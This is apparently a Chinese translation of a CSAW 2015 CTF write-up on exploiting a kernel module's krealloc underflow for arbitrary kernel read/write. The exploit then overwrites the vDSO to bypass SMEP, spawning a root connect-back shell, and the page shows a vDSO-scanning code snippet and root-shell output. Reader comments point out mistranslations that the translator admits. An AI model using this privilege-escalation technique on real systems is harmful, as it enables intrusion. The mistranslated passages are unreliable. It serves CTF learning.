CSAW2015决赛:使用vDSO重写绕过SMEP

2015-11-20 273256人围观 ,发现 6 个不明物体 系统安全

今年的CSAW决赛中有几个不错的内核挑战,今天我们解决的是来自Michael Coppola的StringIPC。

我们的实验环境为内核版本3.13的64位ubuntu 14.04.3虚拟机,并且开启SMEP,kptr_restrict和dmesg_restrict。这里加载了一个"StringIPC"内核模块,但是源在home目录下,你可以在这里查看源代码。

分析内核模块

StringIPC模块实现了一个进程间的基本通信系统,其允许设备的ioctl存储到/dev/csaw并且通过不同通道读取数据。下面这8个不同的ioctl都可以用于对通道的创建,修改,读取/写入:

#define CSAW_IOCTL_BASE     0x77617363
#define CSAW_ALLOC_CHANNEL  CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL   CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL   CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL   CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL  CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL   CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL  CSAW_IOCTL_BASE+8

CSAW_ALLOC_CHANNEL允许你分配一个新的通道以及一个给定大小的缓冲区,而CSAW_GROW_CHANNEL和CSAW_SHRINK_CHANNEL使用krealloc可改变通道缓冲区的大小,CSAW_READ_CHANNEL和CSAW_WRITE_CHANNEL可读取/写入CSAW_SEEK_CHANNEL已分配好的内存缓冲区的通道偏移量,最后CSAW_OPEN_CHANNEL和CSAW_CLOSE_CHANNEL处理通道与ioctl之间的交互。

这个BUG位于realloc_ipc_channel中使用的krealloc:

static int realloc_ipc_channel ( struct ipc_state *state, int id, size_t size, int grow )
{
    struct ipc_channel *channel;
    size_t new_size;
    char *new_data;
    channel = get_channel_by_id(state, id);
    if ( IS_ERR(channel) )
        return PTR_ERR(channel);
    if ( grow )
        new_size = channel->buf_size + size;
    else
        new_size = channel->buf_size - size;
    new_data = krealloc(channel->data, new_size + 1, GFP_KERNEL);
    if ( new_data == NULL )
        return -EINVAL;
    channel->data = new_data;
    channel->buf_size = new_size;
    ipc_channel_put(state, channel);
    return 0;
}

尝试缩小1个单位通道缓冲区,但还是比最初的分配要多,new_size将下溢变成INT_MAX。调用krealloc后增加1,然后溢出变回0。从krealloc源码中,我们可以看到如果new_size为0,其返回ZERO_SIZE_PTR:

void *krealloc(const void *p, size_t new_size, gfp_t flags) {
    void *ret;
    if (unlikely(!new_size)) {
         kfree(p);
         return ZERO_SIZE_PTR;
    }
...

ZERO_SIZE_PTR被定义为((void *)16),且在调整channel->data = 0×10以及channel->buf_size = INT_MAX之后。从0×10寻找一些偏移量,我们可以在任意内核空间读取/写入数据。

利用任意写

现在我们拥有了读写权限,接下来便可以制作exploit。SMEP已经开启,我们不能进行覆盖而且也不能跳转到用户空间执行一个准备好的Shellcode。为了绕过它,我们可以使用一项覆盖vDSO的技术致使另一外一个拥有root权限的进程执行我们准备的往回连接Shellcode

这里的思路是vDSO映射到内核空间以及每个进程的虚拟内存,其中包括一个以root权限运行的进程。这样做事为了加快调用特定的syscalls(不需要context切换也能正常工作),在用户空间vDSO映射为R/X,在内核空间为R/W。我们可以在内核空间进行修改,用户可在用户空间执行。

使用这项技术需要以下几步骤:

1.获得任意读写权限
2.在内核空间定位vDSO
3.创建一个往回连接Shellcode的root进程
4.用我们的Shellcode覆盖部分vDSO
5.监听我们的root Shell

对于第一步,我们已经完成。接下来便是在内核空间定位vDSO了

定位vDSO

以下为内核空间中初始化的vDSO内核代码:

static int __init init_vdso_vars(void) {
    int npages = (vdso_end - vdso_start + PAGE_SIZE - 1) / PAGE_SIZE;
    int i;
    char *vbase;
    vdso_size = npages << PAGE_SHIFT;
    vdso_pages = kmalloc(sizeof(struct page *) * npages, GFP_KERNEL);
    if (!vdso_pages)
        goto oom;
    for (i = 0; i < npages; i++) {
        struct page *p;
        p = alloc_page(GFP_KERNEL);
        if (!p)
            goto oom;
        vdso_pages[i] = p;
        copy_page(page_address(p), vdso_start + i*PAGE_SIZE);
    }
    vbase = vmap(vdso_pages, npages, 0, PAGE_KERNEL);
...

alloc_page在内核空间分配vDSO pages,指针存储在vdso_pages数组。因此想要定位这些pages有很多方法,如果你可以读取/proc/kallsyms,你可以读取vdso_pages来获得直接地址。然而对于这个挑战来说并非如此简单,第二种方法是在内核空间中搜索每个page开头的ELF头(vDSO映射的一部分),通过vDSO签名可以进一步缩小范围,我是这么做得:

void* header = 0;
void* loc = 0xffffffff80000000;
size_t i = 0;
for (; loc<0xffffffffffffafff; loc+=0x1000) {
    readMem(&header,loc,8);
    if (header==0x010102464c457f) {
        fprintf(stderr,"%p elf\n",loc);
        readMem(&header,loc+0x270,8);
        //Look for 'clock_ge' signature (may not be at this offset, but happened to be)        
        if (header==0x65675f6b636f6c63) {
            fprintf(stderr,"%p found it?\n",loc);
            break;
        }
    }
    
}

找到vDSO后,我们可以创建Shellcode覆盖之。

Connect-Back Shellcode

Connect-Back Shellcode是一个相对简单的x86-64 Shellcode。第一个修改便是给回调shell增加root进程,当所有的进程调用gettimeofday都会触发代码,对于非root进程是不会触发的。我们可以调用syscall 0×66(sys_getuid)与0进行比较,如果不是,我们会替换为调用syscall 0×60(sys_gettimeofday),这样就不会出啥大问题了。相同思路,即使我们有了root进程,我们不想导致其他东西崩溃,我们可以fork syscall 0×39。对于母进程我们依旧会转发sys_gettimeofday,而子进程则会运行我们的Connect-Back Shellcode

我所使用的Shellcode汇编代码可以在这里查看,它连接到127.0.0.1的3333端口并执行"/bin/sh"

最后我们还需要转储vDSO并检测gettimeofday所在的偏移位置。获得这些信息之后我们就可以用Shellcode覆盖这个位置,然后等待进程调用它。我设置了一个cron命令作为保险,最终代码你可以在这里查看,以下为运行片段:

csaw@team7:~$ id
uid=1000(csaw) gid=1000(csaw) groups=1000(csaw)
csaw@team7:~$ ./a.out 
allocate fd: 3 ret: 0 id:1
Shrink: 0 err:0
ZERO_SIZED_POINTER = 0x10
0xffffffff817bc000 elf
0xffffffff817d1000 elf
0xffffffff81b6c000 elf
0xffffffff81b9e000 elf
0xffffffff81c03000 elf
0xffffffff81c03000 found it?
Listening on [0.0.0.0] (family 0, port 3333)
Connection from [127.0.0.1] port 3333 [tcp/*] accepted (family 2, sport 58568)
id
uid=0(root) gid=0(root) groups=0(root)

总结

并非只有vDSO可以映射内核空间和用户空间,在x86-64中vSYSCALL serves有一个函数就与vDSO十分类似,然而在本次挑战中没有开启kernel.vsyscall64,所以只能通过调用vDSO来代替了。如果vm.vdso_enable也为0,也能够轻松绕过vDSO并且libc wrappers会默认为正常的系统调用。

vDSO/vSYSCALL覆盖也是一项十分不错的技术,利用中断context而不需要本地进程映射内存或者获取更高权限的凭证。

当然,还有许多的解题方法,原作者给出的方法可以在这里查看

*参考来源:itszn,编译/FB小编鸢尾,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

这些评论亮了

  • 鸢尾 (8级) 悟空竟在打飞机 回复
    @ mactavish  谢谢指正,你对这段的理解确实比我要好!作为我对读者的不够尊重,我愿意拿出20金币奖励你,同时给我自己一个惩戒(欢迎私信我帐号)。但是对于你最后对我个人的评价我十分不服,瞎翻和机翻我不承认。
    不管怎样说,这都是我的过错。真心感谢朋友的指正!
    在此我个人做出承诺:如果在我发表的文章中找到不妥当之处,并指正的。至少拿出20金币或者等值人民币来作为对读者不尊重的弥补。
    最后,再次感谢朋友。
    )13( 亮了
  • @ 鸢尾 
    1,翻译完了你完整看过这篇文章么?
    “这里加载了一个"StringIPC"内核模块,但是源在home目录下”,读一遍也应该知道这个“源”应该改成“源代码”吧。
    “从0×10寻找一些偏移量,我们可以在任意内核空间读取/写入数据。”
    “我们不能进行覆盖而且也不能跳转到用户空间执行一个准备好的Shellcode”
    等等,这些句子你读着不别扭吗?
    2,我也不需要你所谓的“奖励”
    3,翻译技术文章是有门槛的,要求译者至少能读懂原文。阅读理解题:文中作者说需要对shellcode做一些修改,请问都做了哪些修改?为什么要做这样的修改?
    )7( 亮了
  • 鸢尾 (8级) 悟空竟在打飞机 回复
    @ mactavish 
    1.这的确是我对读者不负责任表现最直接的证据,在之前的回复中已经承认这篇文章第一遍翻译完之后没有通篇的去阅读查错。再次向各位读者抱歉!
    2.这个所谓的奖励,并不是为了收买人心什么的。我是真心实意的想这么做!也应该这么做!这是一个男人应该有的担当,当然这也是你应得的奖励。从朋友你愿意指出并批评我的错误,能够看出来你是真的很失望!我写文章的初衷便是能够让大家对国外的技术多了解一些,然而我的文章却这么的令人失望,以后还能有人继续看么?恳求您能够以平常心接受我对您以及其他读者的道歉。
    3.对于朋友的这个说法,我十分赞成。
    最后再次向朋友致谢,这次回复之后可能得等一段时间我才能看到你的回复,在此说明一下以免朋友你浪费时间等待
    )7( 亮了
  • 机翻还不能说了是吧?一直删评论。
    The connect-back shellcode can be a relatively general x86-64 shellcode, with a few modifications. The first modification is to only create the call-back shell for root processes. Since every process that calls gettimeofday will trigger our code, we don't want to be spammed with connections of non root processes.
    看看原文,你翻译的这个“Connect-Back Shellcode是一个相对简单的x86-64 Shellcode。第一个修改便是给回调shell增加root进程,当所有的进程调用gettimeofday都会触发代码,对于非root进程是不会触发的。”是原来的意思吗??
    “Connect-Back Shellcode可以是简单的x86-64 shellcode,但是需要对它做一点小小的修改。第一个修改是只让root进程触发生成反弹shell的代码,这么做的原因是尽管所有调用gettimeofday的进程都会触发我们的shellcode,但是我们并不想连接非root进程产生的shell。”
    瞎翻+机翻+(翻完)不看=xjb翻
    )7( 亮了
  • 小菜鸟 回复
    我每次看这种文章,我都觉得自己肯定能看懂的。后来发现。尼玛 这些都是啥玩意儿。
    )7( 亮了
发表评论

已有 6 条评论

  • mactavish  (1级)  2015-11-20 回复 1楼

    机翻还不能说了是吧?一直删评论。
    The connect-back shellcode can be a relatively general x86-64 shellcode, with a few modifications. The first modification is to only create the call-back shell for root processes. Since every process that calls gettimeofday will trigger our code, we don’t want to be spammed with connections of non root processes.
    看看原文,你翻译的这个“Connect-Back Shellcode是一个相对简单的x86-64 Shellcode。第一个修改便是给回调shell增加root进程,当所有的进程调用gettimeofday都会触发代码,对于非root进程是不会触发的。”是原来的意思吗??

    “Connect-Back Shellcode可以是简单的x86-64 shellcode,但是需要对它做一点小小的修改。第一个修改是只让root进程触发生成反弹shell的代码,这么做的原因是尽管所有调用gettimeofday的进程都会触发我们的shellcode,但是我们并不想连接非root进程产生的shell。”

    瞎翻+机翻+(翻完)不看=xjb翻

    • 鸢尾  (8级) 悟空竟在打飞机  2015-11-20 回复

      @ mactavish  谢谢指正,你对这段的理解确实比我要好!作为我对读者的不够尊重,我愿意拿出20金币奖励你,同时给我自己一个惩戒(欢迎私信我帐号)。但是对于你最后对我个人的评价我十分不服,瞎翻和机翻我不承认。
      不管怎样说,这都是我的过错。真心感谢朋友的指正!
      在此我个人做出承诺:如果在我发表的文章中找到不妥当之处,并指正的。至少拿出20金币或者等值人民币来作为对读者不尊重的弥补。
      最后,再次感谢朋友。

      • mactavish  (1级)  2015-11-20 回复

        @ 鸢尾 
        1,翻译完了你完整看过这篇文章么?
        “这里加载了一个"StringIPC"内核模块,但是源在home目录下”,读一遍也应该知道这个“源”应该改成“源代码”吧。
        “从0×10寻找一些偏移量,我们可以在任意内核空间读取/写入数据。”
        “我们不能进行覆盖而且也不能跳转到用户空间执行一个准备好的Shellcode”
        等等,这些句子你读着不别扭吗?
        2,我也不需要你所谓的“奖励”
        3,翻译技术文章是有门槛的,要求译者至少能读懂原文。阅读理解题:文中作者说需要对shellcode做一些修改,请问都做了哪些修改?为什么要做这样的修改?

      • 鸢尾  (8级) 悟空竟在打飞机  2015-11-20 回复

        @ mactavish 
        1.这的确是我对读者不负责任表现最直接的证据,在之前的回复中已经承认这篇文章第一遍翻译完之后没有通篇的去阅读查错。再次向各位读者抱歉!
        2.这个所谓的奖励,并不是为了收买人心什么的。我是真心实意的想这么做!也应该这么做!这是一个男人应该有的担当,当然这也是你应得的奖励。从朋友你愿意指出并批评我的错误,能够看出来你是真的很失望!我写文章的初衷便是能够让大家对国外的技术多了解一些,然而我的文章却这么的令人失望,以后还能有人继续看么?恳求您能够以平常心接受我对您以及其他读者的道歉。
        3.对于朋友的这个说法,我十分赞成。
        最后再次向朋友致谢,这次回复之后可能得等一段时间我才能看到你的回复,在此说明一下以免朋友你浪费时间等待

  • 小菜鸟  2015-11-20 回复 2楼

    我每次看这种文章,我都觉得自己肯定能看懂的。后来发现。尼玛 这些都是啥玩意儿。

取消
Loading...

特别推荐

推荐关注

填写个人信息

姓名
电话
邮箱
公司
行业
职位
css.php